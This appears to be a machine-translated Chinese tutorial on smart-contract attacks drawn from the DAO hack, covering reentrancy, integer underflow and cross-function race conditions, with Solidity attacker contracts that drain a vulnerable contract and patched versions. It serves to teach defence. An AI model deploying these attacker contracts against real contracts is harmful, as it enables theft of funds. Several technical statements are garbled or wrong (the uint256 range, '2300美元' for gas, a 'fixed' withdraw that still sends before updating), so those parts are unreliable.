如何从智能合约攻击DAO中吸取经验

区块链

574人已加入

描述

如果你一直在跟踪区块链技术,你可能听说过一两次智能合约攻击,这些攻击导致了价值数千万美元的加密货币资产被盗。最引人注目的攻击仍然是分散自治组织(DAO),它是加密货币史上最受期待的项目之一,也是智能合约革命能力的典型代表。虽然大多数人都听说过这些攻击事件,但很少有人真正了解到底出了什么问题,以及如何避免再犯两次同样的错误。

智能合约是动态的、复杂的、而且它强大到让人难以置信。虽然它们的潜力是不可想象的,但它也不可能一出现就具备防范攻击体制。这就是说,我们都应从以前的错误中学习,并共同成长。

尽管DAO已经成为过去,但它仍然是开发人员、投资者和社区成员应该熟悉的容易受到智能合约攻击的一个很好的例子。

区块链

无论您是开发人员、投资者还是加密货币爱好者,了解这些攻击将使您对这项有前途的技术有更深的了解。

攻击#1:重入

当攻击者通过递归调用目标的退出函功能从目标中抽走资金时,就会发生重发式攻击,DAO就是这种情况。当合约在发送资金前未能更新其状态(用户余额)时,攻击者可以连续调用撤回功能来耗尽合约的资金。只要攻击者接收到以太币,攻击者的合约就会自动调用它的撤回功能,该功能将会被写入以再次调用撤回的算法中。此时攻击已经进入递归循环,合约的资金开始向攻击方转移。由于目标合约被阻止调用攻击者的撤回功能,该合约永远不能更新攻击者的数据。目标合约被骗得以为一切正常。需要说明的是,撤回功能是合约的本质性功能,只要合约接收到以太币和其他数据,合约就会自动执行它。

此次攻击的流程

1、攻击者向目标合约捐赠以太币

2、目标合约更新攻击者捐赠以太币的余额

3、攻击者要求返还资金

4、资金汇回

5、攻击者的撤回功能是触发器,并要求随后退出

6、智能合约更新攻击者平衡的逻辑尚未执行,因此再次成功调用撤回

7、资金被发送到攻击者

8、重复步骤5–7

9.一旦攻击结束,攻击者就会把合约上的资金送到他们的个人地址上去。

区块链

可重入攻击的递归循环

不幸的是,一旦攻击开始,就没有办法阻止它。攻击者的撤回功能将被反复调用,直到合约用完或者受害者的以太币被耗尽。

下面的代码是易受影响的DAO合同的简化版本,其中包含评论以更好地理解那些不熟悉编程/可靠性的合同。

contract babyDAO {

/* assign key/value pair so we can look up

credit integers with an ETH address */

mapping (address =》 uint256) public credit;

/* a function for funds to be added to the contract,

sender will be credited amount sent */

function donate(address to) payable {

credit[msg.sender] += msg.value;

}

/*show ether credited to address*/

function assignedCredit(address) returns (uint) {

return credit[msg.sender];

}

/*withdrawal ether from contract*/

function withdraw(uint amount) {

if (credit[msg.sender] 》= amount) {

msg.sender.call.value(amount)();

credit[msg.sender] -= amount;

}

}

}

如果我们看一下这个功能被提取,我们可以看到DAO联系人使用address.call.value向msg.sender发送资金。不仅如此,合约还更新了资金发出后的信用状态[msg.sender]。两者都是大禁忌。认识到合约代码中的这些漏洞,攻击者可以使用类似合同的契约ThisAHodlUp{}来清算所有的合约DADO基金。

import ‘browser/babyDAO.sol’;

contract ThisIsAHodlUp {

/* assign babyDAO contract as “dao” */

babyDAO public dao = babyDAO(0x2ae.。.);

address owner;

/*assign contract creator as owner*/

constructor(ThisIsAHodlUp) public {

owner = msg.sender;

}

/*fallback function, withdraws funds from babyDAO*/

function() public {

dao.withdraw(dao.assignedCredit(this));

}

/*send drained funds to attacker’s address*/

function drainFunds() payable public{

owner.transfer(address(this).balance);

}

}

注意,撤回这一功能,调用的是DAO的撤销功能,或合约的babyDAO{},以此来从合约中窃取资金。另一方面,在攻击结束时,如果攻击者想将所有被盗的以太币发送到其地址,则会调用撤回功能。

解决之道

到目前为止,可以清楚地看到,重入攻击利用了两种特殊的智能合约漏洞。第一种是当合约的状态在资金发送之后而不是之前更新。由于在发送资金之前没有更新合同状态,功能可能在计算过程中被中断,合约会被诱使认为资金还没有实际发出。第二个漏洞是当合约错误地使用address.call.value来发送资金,而不是安全的钱包地址。transfer或address.send两者都被限制在需要支付2300美元的津贴,但是仅仅记录一个事件而不是多个外部调用。

发送资金前更新合约余额发送资金时使用address.transfer()或address.send()

contract babyDAO{

。..。

function withdraw(uint amount) {

if (credit[msg.sender] 》= amount) {

credit[msg.sender] -= amount; /* updates balance first */

msg.sender.send(amount)(); /* send funds properly */

}

}

攻击2:Underflow

尽管DAO合约没有成为底层流攻击的受害者,我们可以利用现有的babyDAO合约{}来更好地理解是如何发生常见攻击的。

首先,让我们确认一下uint256是什么。Auint256是一个256位的无符号整数(因为只有正整数)。Ethereum Virtual Machine设计为使用256位作为其字大小,或者一次性使用计算机的CPU处理的位数。由于EVM的大小限制为256位,分配的数字范围为0到4294967295(2²⁵⁶)。如果我们看一下这个范围,这个数字被重置到范围的底部(2²⁵⁶+1=0)。如果我们进入这个范围,这个数字被重置到范围的顶端(0–1=2²⁵⁶)。

当我们从零减去一个大于零的数字时,就会产生一个新的整数2²⁵⁶。现在,如果攻击者的平衡经验不足,余额将被更新,以便所有的资金都可能被盗。

此次攻击流程

1、攻击者通过向目标合约发送1 Wei发起攻击

2、根据合约,寄件人应将款项汇入

3、随后同一1 Wei的称为

4、合约从寄件人的信用证中减去1 Wei,现在余额为零

5、因为目标合约将以太币发送到攻击者,所以攻击者的撤回功能也将触发并再次调用退出

6.退场记1 Wei

7.攻击者的合约余额已经更新了两次,第一次更新为零,第二次更新为-1

8.攻击者的平衡被重置为2²⁵⁶

9.攻击者通过提取目标合同中的所有资金完成了攻击

代码

import ‘browser/babyDAO’;

contract UnderflowAttack {

babyDAO public dao = babyDAO(0x2ae…);

address owner;

bool performAttack = true;

/*set contract creator as owner*/

function UnderflowAttack{ owner = msg.sender;}

/*donate 1 wei, withdraw 1 wei*/

function attack() {

dao.donate.value(1)(this);

dao.withdraw(1);

}

/*fallback function, results in 0–1 = 2**256 */

function() {

if (performAttack) {

performAttack = false;

dao.withdraw(1);

}

}

/*extract balance from smart contract*/

function getJackpot() {

dao.withdraw(dao.balance);

owner.send(this.balance);

}

}

解决之道

为了避免成为下溢攻击的受害者,最佳实践是检查更新后的整数是否保持在其字节范围内。我们可以在代码中添加一个参数检查,作为最后一道防线。该功取款第一行是提取检查是否有足够的资金,第二行检查是否溢出,第三行检查是否有下溢。

contract babysDAO{

。..。

/*withdrawal ether from contract*/

function withdraw(uint amount) {

if (credit[msg.sender] 》= amount

&& credit[msg.sender] + amount 》= credit[msg.sender]

&& credit[msg.sender] - amount 《= credit[msg.sender]) {

credit[msg.sender] -= amount;

msg.sender.send(amount)();

}

}

请注意,我们的上述代码也会在发送资金之前更新用户的余额,如前所述。

攻击3:跨功能竞态条件的攻击

同样重要的是,跨功能竞态条件攻击。正如我们在Reentrancy攻击中所讨论的,DAO合约未能正确地更新内部合约状态,因此导致资金被盗。部分DAO和一般的外部调用问题是由于其跨功能竞态条件所产生的。

而以太坊中的所有事务都是串联运行的(一个接一个地运行),因此使用外部调用对另一份合约或另一个地址来说,一旦管理不当,就会灾害连连。当两个功能调用并共享同一状态时,将发生跨功能竞争情况。该合约就会骗的消费者认为存在的是两个合约,而实际上只有一个合约。因此,在这个合约的功能函数中,我们不能同时得到X=3和X=4。

让我们用一个例子来说明这个概念。

攻击与守则

contract crossFunctionRace{

mapping (address =》 uint) private userBalances;

/* uses userBalances to transfer funds */

function transfer(address to, uint amount) {

if (userBalances[msg.sender] 》= amount) {

userBalances[to] += amount;

userBalances[msg.sender] -= amount;

}

}

/* uses userBalances to withdraw funds */

function withdrawalBalance() public {

uint amountToWithdraw = userBalances[msg.sender];

require(msg.sender.send(amountToWithdraw)());

userBalances[msg.sender] = 0;

}

}

上述合约有两个职能——一个负责转移资金,另一个负责提取资金。让我们假定攻击者撤回功能传输(),同时进行外部撤回功能的退出Balance()。使用Balance[msg.sender]的状态将被拉向两个不同的方向。用户的余额还没有设置为0,但是攻击者也能够转移资金,尽管它们已经被撤回。在这种情况下合同允许攻击者花费,区块链技术的目的就是要解决其中的一个问题。

注意:如果这些合同共享状态,则跨多个合同可能会发生跨职能竞争条件。

1.在调用外部函数之前,首先完成所有内部工作

2.避免打外线电话

3.在不可避免的情况下,将外部撤回功能标记为“不可信”

4.在不可避免的外部撤回时使用互斥体

根据下面的合约,我们可以看到一个合约的例子,1)。在打外部电话之前进行内部工作、2),将所有外部调用函数标记为“不可信”。我们的合约允许资金被发送到一个地址,并允许用户一次性奖励最初将资金存入合约中的人。

contract crossFunctionRace{

mapping (address =》 uint) private userBalances;

mapping (address =》 uint) private reward;

mapping (address =》 bool) private claimedReward;

//makes external call, need to mark as untrusted

function untrustedWithdraw(address recipient) public {

uint amountWithdraw = userBalances[recipient];

reward[recipient] = 0;

require(recipient.call.value(amountWithdraw)());

}

//untrusted because withdraw is called, an external call

function untrustedGetReward(address recipient) public {

//check that reward hasn’t already been claimed

require(!claimedReward[recipient]);

//internal work first (claimedReward and assigning reward)

claimedReward = true;

reward[recipient] += 100;

untrustedWithdraw(recipient);

}

}

正如我们可以看到的,合约的第一个功能是在向用户的合约地址发送资金时进行外部调用的。类似地,奖励功能也使用撤回功能来发送一次性奖励,因此也是不可信的。同样重要的是,合约首先执行所有内部工作。与我们的可重入攻击示例一样,功能GetReward在允许退出以防止跨功能争用的情况发生之前,授予用户一次奖励的信用。

在一个完美的世界里,智能合约不需要依靠外部调用。事实是,在许多情况下,外部联通几乎不可能发挥作用。因此,使用互斥体来“锁定”某个状态,并只授予所有者更改状态的能力,可以帮助避免代价高昂的灾难。尽管互斥非常有效,但在用于多个合约时,它们可能会变得很棘手。如果您使用互斥体来保护不受各种条件的影响,那么您需要仔细确保没有其他方法可以声明锁定,并且永远不会被释放。如果使用互斥方式,请确保您在与他们签订合约时已经彻底了解了潜在的危险(死锁、活锁等)。

contract mutexExample{

mapping (address =》 uint) private balances;

bool private lockBalances;

function deposit() payable public returns (bool) {

/*check if lockBalances is unlocked before proceeding*/

require(!lockBalances);

/*lock, execute, unlock */

lockBalances = true;

balances[msg.sender] += msg.value;

lockBalances = false;

return true;

}

function withdraw(uint amount) payable public returns (bool) {

/*check if lockBalances is unlocked before proceeding*/

require(!lockBalances && amount 》 0 && balances[msg.sender]

》= amount);

/*lock, execute, unlock*/

lockBalances = true;

if (msg.sender.call(amount)()) {

balances[msg.sender] -= amount;

}

lockBalances = false;

return true;

}

}

上面我们可以看到合约mutexExample具有执行功能存款和功能提取的私有锁状态。该锁将阻止用户在第一次调用完成之前成功地调用撤销,从而防止出现任何类型的跨功能争用状态。

强大的力量同时带来巨大的责任。尽管区块链和智能合合约术仍在不断发展,但风险仍然很高。攻击者还没有放弃寻找合适的机会,抓住设计糟糕的合约。

打开APP阅读更多精彩内容
声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉

全部0条评论

快来发表一下你的评论吧 !

×
20
完善资料,
赚取积分